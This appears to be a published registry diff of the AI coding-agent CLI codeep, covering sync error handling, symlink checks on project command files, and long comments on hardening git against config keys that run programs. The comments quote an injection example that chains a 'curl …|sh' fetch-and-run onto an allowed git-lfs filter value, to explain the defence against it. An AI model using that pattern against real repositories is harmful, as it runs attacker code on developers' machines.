codeep 3.3.3 → 3.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/dist/acp/commands.d.ts +50 -1
  2. package/dist/acp/commands.js +545 -109
  3. package/dist/acp/protocol.d.ts +14 -5
  4. package/dist/acp/server.d.ts +36 -1
  5. package/dist/acp/server.js +581 -155
  6. package/dist/acp/serverHandlers.d.ts +2 -1
  7. package/dist/acp/serverHandlers.js +3 -0
  8. package/dist/acp/session.d.ts +28 -2
  9. package/dist/acp/session.js +25 -6
  10. package/dist/acp/transport.d.ts +40 -4
  11. package/dist/acp/transport.js +218 -25
  12. package/dist/acp/turns.d.ts +20 -0
  13. package/dist/acp/turns.js +30 -0
  14. package/dist/api/index.js +2 -0
  15. package/dist/api/ollamaNative.d.ts +3 -0
  16. package/dist/api/ollamaNative.js +35 -3
  17. package/dist/config/index.d.ts +21 -4
  18. package/dist/config/index.js +178 -123
  19. package/dist/renderer/agentExecution.d.ts +30 -2
  20. package/dist/renderer/agentExecution.js +248 -92
  21. package/dist/renderer/commands/helpers.d.ts +18 -2
  22. package/dist/renderer/commands/helpers.js +28 -5
  23. package/dist/renderer/commands.d.ts +2 -0
  24. package/dist/renderer/commands.js +180 -64
  25. package/dist/renderer/main.d.ts +41 -0
  26. package/dist/renderer/main.js +181 -80
  27. package/dist/utils/agent.d.ts +69 -4
  28. package/dist/utils/agent.js +416 -248
  29. package/dist/utils/agentChat.js +82 -10
  30. package/dist/utils/agents.d.ts +2 -1
  31. package/dist/utils/agents.js +100 -29
  32. package/dist/utils/auditLog.d.ts +4 -3
  33. package/dist/utils/auditLog.js +92 -9
  34. package/dist/utils/checkpoints.js +11 -6
  35. package/dist/utils/codeReview.js +28 -23
  36. package/dist/utils/codeepCloud.d.ts +14 -2
  37. package/dist/utils/codeepCloud.js +56 -20
  38. package/dist/utils/customCommands.js +7 -2
  39. package/dist/utils/git.d.ts +262 -4
  40. package/dist/utils/git.js +1928 -61
  41. package/dist/utils/gitHookInstaller.d.ts +32 -1
  42. package/dist/utils/gitHookInstaller.js +76 -8
  43. package/dist/utils/gitignore.d.ts +8 -0
  44. package/dist/utils/gitignore.js +41 -10
  45. package/dist/utils/headlessReview.d.ts +11 -0
  46. package/dist/utils/headlessReview.js +33 -5
  47. package/dist/utils/history.d.ts +22 -6
  48. package/dist/utils/history.js +140 -26
  49. package/dist/utils/logger.js +6 -7
  50. package/dist/utils/mcpConfig.d.ts +24 -0
  51. package/dist/utils/mcpConfig.js +36 -5
  52. package/dist/utils/mentions.d.ts +28 -5
  53. package/dist/utils/mentions.js +253 -45
  54. package/dist/utils/personalities.js +16 -6
  55. package/dist/utils/planMode.d.ts +13 -7
  56. package/dist/utils/planMode.js +32 -12
  57. package/dist/utils/projectIntelligence.d.ts +2 -0
  58. package/dist/utils/projectIntelligence.js +27 -8
  59. package/dist/utils/projectPaths.d.ts +53 -0
  60. package/dist/utils/projectPaths.js +146 -0
  61. package/dist/utils/shell.d.ts +119 -0
  62. package/dist/utils/shell.js +417 -45
  63. package/dist/utils/skillBundles.js +17 -7
  64. package/dist/utils/skillBundlesCloud.js +20 -3
  65. package/dist/utils/skills.d.ts +24 -2
  66. package/dist/utils/skills.js +235 -43
  67. package/dist/utils/smartContext.js +97 -23
  68. package/dist/utils/telegramApproval.d.ts +10 -2
  69. package/dist/utils/telegramApproval.js +22 -4
  70. package/dist/utils/toolExecution.d.ts +50 -2
  71. package/dist/utils/toolExecution.js +418 -16
  72. package/dist/utils/toolParsing.d.ts +7 -1
  73. package/dist/utils/toolParsing.js +12 -3
  74. package/dist/utils/userProfile.js +58 -16
  75. package/dist/utils/verify.d.ts +25 -4
  76. package/dist/utils/verify.js +259 -74
  77. package/dist/version.d.ts +1 -1
  78. package/dist/version.js +1 -1
  79. package/package.json +1 -1
@@ -105,7 +105,7 @@ declare function writePulledPersonalityBundle(items: Record<string, string>): nu
105
105
  * look like a successful no-op — the two were indistinguishable when every
106
106
  * path returned `null`, and a user watching `codeep account sync` print
107
107
  * nothing had no way to tell which had happened. */
108
- export type SyncFailure = 'not-linked' | 'unreachable' | 'rejected' | 'malformed';
108
+ export type SyncFailure = 'not-linked' | 'unreachable' | 'rejected' | 'malformed' | 'unreadable' | 'unwritable';
109
109
  /** Success carries a count (which may legitimately be 0 — nothing new), plus
110
110
  * how many local agents the server's tombstone list removed. */
111
111
  export type SyncResult = {
@@ -206,7 +206,19 @@ export declare function pullLearning(): Promise<{
206
206
  } | null>;
207
207
  export declare function pushProfiles(profiles: Record<string, object>): Promise<boolean>;
208
208
  export declare function pullProfiles(): Promise<Record<string, object> | null>;
209
- /** Push the local global profile.md to the dashboard. */
209
+ /**
210
+ * Push the local global profile.md to the dashboard. `count` is 1 when it was
211
+ * pushed and 0 when there is no local profile to push.
212
+ */
213
+ export declare function pushUserProfileResult(): Promise<SyncResult>;
214
+ /**
215
+ * Pull the dashboard profile.md — additive: writes only when no local profile
216
+ * exists. `count` is 1 when written and 0 when skipped (nothing on the
217
+ * dashboard, or a local profile already there).
218
+ */
219
+ export declare function pullUserProfileResult(): Promise<SyncResult>;
220
+ /** Push the local global profile.md to the dashboard. False when nothing was
221
+ * pushed, for whatever reason — see pushUserProfileResult for which. */
210
222
  export declare function pushUserProfile(): Promise<boolean>;
211
223
  /** Pull the dashboard profile.md — additive: writes only when no local profile
212
224
  * exists. Returns 1 if written, 0 if skipped, null on error / not linked. */
@@ -431,17 +431,24 @@ export function describeSyncFailure(reason) {
431
431
  switch (reason) {
432
432
  case 'not-linked': return 'not linked to codeep.dev — run: codeep account';
433
433
  case 'unreachable': return "couldn't reach codeep.dev";
434
- case 'rejected': return 'codeep.dev refused the request — try signing in again';
434
+ case 'rejected': return 'codeep.dev refused the request — sign in again with: codeep account';
435
435
  case 'malformed': return 'codeep.dev sent a response this version cannot read';
436
+ case 'unreadable': return 'the local file could not be read';
437
+ case 'unwritable': return 'the downloaded file could not be saved on this machine';
436
438
  }
437
439
  }
440
+ /** Why a request that got an answer failed. A revoked or unknown token is
441
+ * answered with 401/403 and needs a new link, not a better connection. */
442
+ function failureFor(res) {
443
+ return res && (res.status === 401 || res.status === 403) ? 'rejected' : 'unreachable';
444
+ }
438
445
  async function pullBundle(kind) {
439
446
  const syncToken = getSyncToken();
440
447
  if (!syncToken)
441
448
  return { ok: false, reason: 'not-linked' };
442
449
  const res = await fetchWithRetry(`${API_BASE}/api/${kind}`, { headers: { 'x-sync-token': syncToken } });
443
450
  if (!res?.ok)
444
- return { ok: false, reason: 'unreachable' };
451
+ return { ok: false, reason: failureFor(res) };
445
452
  try {
446
453
  const data = await res.json();
447
454
  if (!data.ok)
@@ -474,7 +481,7 @@ async function pushBundle(kind) {
474
481
  headers: { 'Content-Type': 'application/json', 'x-sync-token': syncToken },
475
482
  body: JSON.stringify({ items }),
476
483
  });
477
- return res?.ok ? { ok: true, count, removed: 0 } : { ok: false, reason: 'unreachable' };
484
+ return res?.ok ? { ok: true, count, removed: 0 } : { ok: false, reason: failureFor(res) };
478
485
  }
479
486
  export const pullPersonalities = () => pullBundle('personalities');
480
487
  export const getLastPersonalityPullBackupCount = () => lastPersonalityPullBackupCount;
@@ -695,20 +702,23 @@ export async function pullProfiles() {
695
702
  function userProfilePath() {
696
703
  return join(homedir(), '.codeep', 'profile.md');
697
704
  }
698
- /** Push the local global profile.md to the dashboard. */
699
- export async function pushUserProfile() {
705
+ /**
706
+ * Push the local global profile.md to the dashboard. `count` is 1 when it was
707
+ * pushed and 0 when there is no local profile to push.
708
+ */
709
+ export async function pushUserProfileResult() {
700
710
  const syncToken = getSyncToken();
701
711
  if (!syncToken)
702
- return false;
712
+ return { ok: false, reason: 'not-linked' };
703
713
  const path = userProfilePath();
704
714
  if (!existsSync(path))
705
- return false;
715
+ return { ok: true, count: 0, removed: 0 };
706
716
  let content = '';
707
717
  try {
708
718
  content = readFileSync(path, 'utf8');
709
719
  }
710
720
  catch {
711
- return false;
721
+ return { ok: false, reason: 'unreadable' };
712
722
  }
713
723
  if (content.length > 32 * 1024)
714
724
  content = content.slice(0, 32 * 1024);
@@ -717,34 +727,60 @@ export async function pushUserProfile() {
717
727
  headers: { 'Content-Type': 'application/json', 'x-sync-token': syncToken },
718
728
  body: JSON.stringify({ content }),
719
729
  });
720
- return res?.ok ?? false;
730
+ return res?.ok ? { ok: true, count: 1, removed: 0 } : { ok: false, reason: failureFor(res) };
721
731
  }
722
- /** Pull the dashboard profile.md — additive: writes only when no local profile
723
- * exists. Returns 1 if written, 0 if skipped, null on error / not linked. */
724
- export async function pullUserProfile() {
732
+ /**
733
+ * Pull the dashboard profile.md — additive: writes only when no local profile
734
+ * exists. `count` is 1 when written and 0 when skipped (nothing on the
735
+ * dashboard, or a local profile already there).
736
+ */
737
+ export async function pullUserProfileResult() {
725
738
  const syncToken = getSyncToken();
726
739
  if (!syncToken)
727
- return null;
740
+ return { ok: false, reason: 'not-linked' };
728
741
  const res = await fetchWithRetry(`${API_BASE}/api/sync/user-profile`, { headers: { 'x-sync-token': syncToken } });
729
742
  if (!res?.ok)
730
- return null;
743
+ return { ok: false, reason: failureFor(res) };
744
+ let data;
745
+ try {
746
+ data = await res.json();
747
+ }
748
+ catch {
749
+ return { ok: false, reason: 'malformed' };
750
+ }
751
+ if (!data || typeof data !== 'object')
752
+ return { ok: false, reason: 'malformed' };
753
+ const skipped = { ok: true, count: 0, removed: 0 };
754
+ if (!data.ok)
755
+ return { ok: false, reason: 'rejected' };
756
+ if (!data.content)
757
+ return skipped;
731
758
  try {
732
- const data = await res.json();
733
- if (!data.ok || !data.content)
734
- return 0;
735
759
  const path = userProfilePath();
736
760
  if (existsSync(path))
737
- return 0; // never clobber local
761
+ return skipped; // never clobber local
738
762
  const dir = join(homedir(), '.codeep');
739
763
  if (!existsSync(dir))
740
764
  mkdirSync(dir, { recursive: true });
741
765
  writeFileSync(path, data.content);
742
- return 1;
766
+ return { ok: true, count: 1, removed: 0 };
743
767
  }
744
768
  catch {
745
- return null;
769
+ return { ok: false, reason: 'unwritable' };
746
770
  }
747
771
  }
772
+ /** Push the local global profile.md to the dashboard. False when nothing was
773
+ * pushed, for whatever reason — see pushUserProfileResult for which. */
774
+ export async function pushUserProfile() {
775
+ const result = await pushUserProfileResult();
776
+ return result.ok && result.count === 1;
777
+ }
778
+ /** Pull the dashboard profile.md — additive: writes only when no local profile
779
+ * exists. Returns 1 if written, 0 if skipped, null on error / not linked. */
780
+ export async function pullUserProfile() {
781
+ const result = await pullUserProfileResult();
782
+ return result.ok ? result.count : null;
783
+ }
748
784
  export async function syncMemoryNotes(projectName, notes) {
749
785
  if (!isTelemetryEnabled())
750
786
  return; // user opted out of automatic uploads
@@ -28,6 +28,7 @@
28
28
  import { readFileSync, readdirSync, existsSync, statSync } from 'fs';
29
29
  import { join } from 'path';
30
30
  import { homedir } from 'os';
31
+ import { leadsOutsideProject } from './projectPaths.js';
31
32
  /**
32
33
  * Minimal YAML frontmatter parser — handles `key: value` and
33
34
  * `key: [a, b, c]`. We deliberately avoid a YAML dependency because the
@@ -61,7 +62,7 @@ function parseFrontmatter(raw) {
61
62
  }
62
63
  return { meta, body: match[2].trimStart() };
63
64
  }
64
- function loadFromDir(dir, scope) {
65
+ function loadFromDir(dir, scope, projectRoot) {
65
66
  if (!existsSync(dir))
66
67
  return [];
67
68
  let entries;
@@ -77,6 +78,10 @@ function loadFromDir(dir, scope) {
77
78
  continue;
78
79
  const fullPath = join(dir, entry);
79
80
  try {
81
+ // A project's files come with the repo: a link out of it would put an
82
+ // arbitrary file of the user's (credentials, history) into the prompt.
83
+ if (projectRoot && leadsOutsideProject(fullPath, projectRoot))
84
+ continue;
80
85
  const stat = statSync(fullPath);
81
86
  if (!stat.isFile())
82
87
  continue;
@@ -112,7 +117,7 @@ function loadFromDir(dir, scope) {
112
117
  export function loadCustomCommands(workspaceRoot) {
113
118
  const global = loadFromDir(join(homedir(), '.codeep', 'commands'), 'global');
114
119
  const project = workspaceRoot
115
- ? loadFromDir(join(workspaceRoot, '.codeep', 'commands'), 'project')
120
+ ? loadFromDir(join(workspaceRoot, '.codeep', 'commands'), 'project', workspaceRoot)
116
121
  : [];
117
122
  // Project wins on name collisions; collapse to a single map keyed by name.
118
123
  const byName = new Map();
@@ -1,10 +1,41 @@
1
- import { ActionLog } from './tools';
1
+ import type { ActionLog } from './tools';
2
2
  export interface GitStatus {
3
3
  isRepo: boolean;
4
4
  branch?: string;
5
5
  hasChanges?: boolean;
6
6
  ahead?: number;
7
7
  behind?: number;
8
+ /**
9
+ * Why there is no branch here — a GitHardeningError, or git itself failing.
10
+ * Declared because getGitStatus was already filling it through an
11
+ * `as GitStatus` cast that the compiler could not check: the field existed
12
+ * at runtime, nothing in the type said so, and the status line in
13
+ * renderer/main.ts reads `.branch` only — so a refusal showed up as the
14
+ * branch silently disappearing. Written for the user; show it where the
15
+ * branch would go.
16
+ *
17
+ * Every way git can fail lands here, including the ordinary ones. The
18
+ * commonest is a brand-new `git init` with no commit yet, where `git
19
+ * rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
20
+ * (git 2.54) — which is why nothing should put this in front of the user
21
+ * as an instruction. Use `refusal` for that.
22
+ */
23
+ error?: string;
24
+ /**
25
+ * Set ONLY when the hardening refused to run git here, and never for an
26
+ * ordinary git failure. The message names the config key and the
27
+ * `git config --unset` that clears it, so it is the one the TUI shows
28
+ * verbatim (see gitRefusalNotice in renderer/main.ts).
29
+ *
30
+ * This field shipped dead in the first cut of the hotfix: main.ts read
31
+ * `status.refusal`, `GitStatus` never declared it and getGitStatus never
32
+ * set it, so the warning it exists to raise never fired once and the only
33
+ * symptom of a refused repository was the branch quietly vanishing from
34
+ * the header — the exact symptom that notice was written to remove. When
35
+ * this is set, `error` carries the same text, so callers that only know
36
+ * about `error` still say something useful.
37
+ */
38
+ refusal?: string;
8
39
  }
9
40
  export interface GitDiffResult {
10
41
  success: boolean;
@@ -17,8 +48,201 @@ export interface GitCommitResult {
17
48
  error?: string;
18
49
  }
19
50
  /**
20
- * Check if current directory is a git repository
51
+ * Raised instead of handing git an environment that the config scan below
52
+ * could not finish building. Every caller in this file catches it and reports
53
+ * `error.message`, which is written for the user rather than for a log.
54
+ */
55
+ export declare class GitHardeningError extends Error {
56
+ constructor(message: string);
57
+ }
58
+ /**
59
+ * The exact `filter.<driver>.{clean,smudge,process}` command lines that the
60
+ * well-known content-filter integrations write into a repository's own
61
+ * config. A repo-scope filter whose value is one of these is left RUNNING;
62
+ * every other one refuses the call (see the filter rule below).
63
+ *
64
+ * These are whole-value comparisons against a frozen list of literals, never
65
+ * a prefix or a substring test, and that is the point rather than a detail.
66
+ * Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
67
+ * https://…|sh` STARTS WITH an allowlisted line and would sail through a
68
+ * `startsWith` check while doing something else entirely; `%f` in the middle
69
+ * of a longer value is the same hole for a substring check. Whole-value
70
+ * equality against literals also means "contains no shell metacharacter" is a
71
+ * property of this list rather than something that has to be re-checked at
72
+ * runtime — and the suite asserts that property so a future entry cannot
73
+ * quietly break it.
74
+ *
75
+ * These are the values with the program named BARE. The same integrations
76
+ * also spell the program as an absolute path, which is the machine's and not
77
+ * a string this file can pin — see isSafeContentFilterCommand(), which takes
78
+ * the basename apart and compares it against this same list.
79
+ *
80
+ * A spelling that is NOT accepted in any form: `"<abs path to python>" -m
81
+ * nbstripout`, which newer nbstripout installers write. Its program is
82
+ * `python`, so there is nothing to recognise in it — the argument tail is
83
+ * what says what it will do, and pinning `-m nbstripout` would pin a
84
+ * mechanism for running any module at all. Those repositories get the
85
+ * refusal and its `--unset`, which is the fail-closed half of the policy
86
+ * working as intended rather than an oversight.
87
+ */
88
+ export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
89
+ /**
90
+ * Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
91
+ * of the well-known integrations — accepting the spelling that names the
92
+ * program by an ABSOLUTE PATH, which the frozen list above cannot hold.
93
+ *
94
+ * `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
95
+ * on a machine where git-lfs is not the one on PATH, and git-annex writes the
96
+ * same shape. Those are ordinary working repositories, and the whole-value
97
+ * list refused every git call in them — the fail-closed policy landing on the
98
+ * integrations it was written to keep running.
99
+ *
100
+ * What is compared is the program's BASENAME plus the argument tail EXACTLY
101
+ * as the literal spells it, so every property of the list survives the
102
+ * relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
103
+ * bytes before anything is compared; `… clean -- %f --extra` and `…
104
+ * FILTER-PROCESS` produce a tail that is not in the list; a leading command
105
+ * puts something other than an absolute path in the first word. There is no
106
+ * prefix matching anywhere in here, in either half.
107
+ *
108
+ * And the path has to name the program PATH ALREADY RESOLVES that basename
109
+ * to, which is the check that keeps this from being a way in. Without it the
110
+ * repository picks the program: it ships an executable called `git-lfs` — or
111
+ * `cat`, which is on the list with no arguments at all — points the filter at
112
+ * its own checkout, and git runs it. That is not a relaxation of the
113
+ * allowlist, it is the end of it. With it, an absolute path can only name the
114
+ * same file the bare spelling on the list would have run anyway, so the
115
+ * repository gains nothing by writing it out.
116
+ *
117
+ * `env` is the environment the REAL git call will run under, so the PATH
118
+ * asked here is the PATH the shell git spawns would search.
119
+ */
120
+ export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
121
+ /**
122
+ * Whether `<key>=<value>` is a config key that makes git RUN a program.
123
+ *
124
+ * Exported for utils/shell.ts, which has to answer the same question about a
125
+ * `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
126
+ * these are exactly the keys this file spends its length neutralising, and a
127
+ * second hand-written list in the command validator would drift away from
128
+ * this one the first time a rule is added here.
129
+ *
130
+ * Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
131
+ * core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
132
+ * after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
133
+ * the scope-aware set, and `-c` is not a scope the scan can see at all.
21
134
  */
135
+ export declare function isExecutingConfigKey(key: string): boolean;
136
+ /**
137
+ * How many submodule configs one call will read, and how far the enumeration
138
+ * follows submodules of submodules.
139
+ *
140
+ * Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
141
+ * many submodules, nested as deeply, as whoever prepared it liked. Past
142
+ * either one the call is REFUSED rather than partly scanned: "we looked at
143
+ * some of your submodules" is a fail-open dressed as a limit. Every other
144
+ * bound in this pass throws for the same reason, which is the half that used
145
+ * to be missing — the depth guard and the directory-read failure both used
146
+ * to `return`, so a tree nested one level too deep, or a `.git/modules` we
147
+ * had no permission to read, silently became "this repository has no
148
+ * submodules".
149
+ *
150
+ * The count was 512, and that was a wall rather than a backstop: a
151
+ * superproject past it was refused forever, with a message naming nothing
152
+ * the user could change. 2048 is an order of magnitude past the largest real
153
+ * superproject, so only a tree built to reach it does. It is not raised
154
+ * further because every config read is one more `-c include.path=` argument
155
+ * on one command line, and a Windows command line stops at 32KB; and the
156
+ * message now names the two things that get the user moving again.
157
+ */
158
+ export declare const MAX_SUBMODULE_CONFIGS = 2048;
159
+ export interface HardenedGitEnvOptions {
160
+ /**
161
+ * The repository the git call will run in — the same `cwd` the spawn gets.
162
+ * Its config is scanned so repo-supplied programs can be neutralised, so a
163
+ * caller that passes the wrong one gets the wrong repository's protection.
164
+ */
165
+ cwd?: string;
166
+ /**
167
+ * Disable the repository's hooks. Only for the commands Codeep runs BY
168
+ * ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
169
+ * never asked for a hook to run. Commands the user triggered (`/commit`,
170
+ * `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
171
+ * lint-staged, commit-signing hooks and Codeep's own review hook run
172
+ * exactly as they would in the user's terminal.
173
+ *
174
+ * What justifies leaving them on is the approval, not a claim that a hook
175
+ * cannot get onto disk. The user asked for this commit or this checkout, so
176
+ * the repository's hooks run for it exactly as they would if they had typed
177
+ * the command themselves — and that is the whole argument. The write gate
178
+ * in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
179
+ * with write_file; it does not, and does not claim to, cover a shell
180
+ * command the user approved, where `node setup.cjs`, `cp`, `tee` or a
181
+ * redirect writes the same file with nothing to prompt about (reproduced
182
+ * twice against git 2.54). See the comment above that gate, which says the
183
+ * same thing from the other side.
184
+ */
185
+ noHooks?: boolean;
186
+ /**
187
+ * The environment to harden, defaulting to this process's. A caller with
188
+ * its own overrides must pass them HERE rather than spreading them over the
189
+ * result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
190
+ * every override above their count.
191
+ */
192
+ base?: NodeJS.ProcessEnv;
193
+ }
194
+ /**
195
+ * The environment for a git child process, with every command-executing config
196
+ * key neutralised. Pass it to EVERY git spawn — including the read-only ones:
197
+ * `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
198
+ *
199
+ * It costs one `git config --list` plus one `git ls-files` per call —
200
+ * measured 13.6ms here in a plain repository at its root, 19.7ms in one with
201
+ * a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
202
+ * with none (see listSubmoduleConfig for where each part goes, and for why
203
+ * the index is read even in a repository that declares no submodules) — so build
204
+ * it ONCE per function and hand the same object to every spawn inside. There is
205
+ * deliberately no cache across calls: the scan's whole job is to notice what
206
+ * the repository's config says RIGHT NOW, and a hostile `.git/config` written
207
+ * after a cache warmed would be the one it failed to neutralise. Nothing needs
208
+ * one either — the only repeated caller, the status-line branch in
209
+ * renderer/main.ts, already caches its own result and re-reads only when the
210
+ * project moved or an agent run finished.
211
+ *
212
+ * Environment variables are the USER's, not the repository's, so this removes
213
+ * exactly one and leaves the rest:
214
+ *
215
+ * - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
216
+ * `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
217
+ * function (verified). Nothing sets it but git itself, for its own children.
218
+ * - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
219
+ * name programs, but ones the user exported for their own git. Codeep's diff
220
+ * reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
221
+ * - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
222
+ * because a hook exports them: the pre-commit hook Codeep installs runs
223
+ * `codeep review`, and `git diff --cached` there must read the hook's
224
+ * TEMPORARY index to see what is really being committed.
225
+ * - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
226
+ * are kept: the scan above runs under this same environment, so it sees
227
+ * whatever they make git see.
228
+ *
229
+ * Anyone who can set environment variables on this process already owns it.
230
+ *
231
+ * THROWS `GitHardeningError` rather than return a half-built environment when
232
+ * the config scan cannot complete, or when the repository named a program no
233
+ * override can switch off. The scan used to swallow every error and fall back
234
+ * to the always-on pairs alone, so a repository that padded its `.git/config`
235
+ * past the read buffer turned the entire repo-scope layer off in silence and
236
+ * ran its `filter.<d>.clean` on the next `git status`. Every caller in this
237
+ * file catches it and degrades: the status line loses its branch, `/commit`,
238
+ * `@git` and the review path show `error.message`, which is written for the
239
+ * user. A NEW caller has to do the same, or the refusal reaches them as a
240
+ * crash — and a caller inside a promise executor that does not catch it never
241
+ * settles at all.
242
+ */
243
+ export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
244
+ /** A repository whose git Codeep is willing to run. Refusals answer `false`;
245
+ * callers that can show a reason use the functions below, which carry it. */
22
246
  export declare function isGitRepository(cwd?: string): boolean;
23
247
  /**
24
248
  * Get current git status
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
28
252
  * Get git diff (staged or unstaged)
29
253
  */
30
254
  export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
255
+ export interface GitChangedFilesResult {
256
+ files: string[];
257
+ /**
258
+ * Why the list is empty because git would not run, rather than because
259
+ * nothing changed. The two read the same through getChangedFiles() below,
260
+ * and a caller that gates work on "are there changes?" — the review
261
+ * pipeline in utils/codeReview.ts does — would otherwise quietly review
262
+ * nothing in a repository whose config Codeep refuses to run git in.
263
+ */
264
+ error?: string;
265
+ }
266
+ /**
267
+ * Get list of changed files, with the reason when there are none.
268
+ */
269
+ export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
31
270
  /**
32
- * Get list of changed files
271
+ * Get list of changed files. Empty on any failure — see
272
+ * getChangedFilesResult() when the difference between "nothing changed" and
273
+ * "git was refused" matters.
33
274
  */
34
275
  export declare function getChangedFiles(cwd?: string): string[];
35
276
  /**
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
41
282
  */
42
283
  export declare function createCommit(message: string, cwd?: string): GitCommitResult;
43
284
  /**
44
- * Stage all changes
285
+ * Stage all changes, with the reason when it did not happen.
286
+ *
287
+ * The reason matters most in a repository with a REQUIRED content filter —
288
+ * git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
289
+ * repo-scope layer empties that driver's `clean` command and deliberately
290
+ * leaves `required` alone, so git aborts with `fatal: <file>: clean filter
291
+ * '<d>' failed` and exit 128 rather than writing the unfiltered content. That
292
+ * is the intended outcome (see the filter rule above: the alternative was
293
+ * plaintext secrets in the object database), and it is only useful if the
294
+ * user gets to read it — `stdio: 'ignore'` here used to throw the sentence
295
+ * away and leave them with "Failed to stage changes".
296
+ */
297
+ export declare function stageAllResult(cwd?: string): {
298
+ success: boolean;
299
+ error?: string;
300
+ };
301
+ /**
302
+ * Stage all changes. See stageAllResult() when the reason matters.
45
303
  */
46
304
  export declare function stageAll(cwd?: string): boolean;
47
305
  /**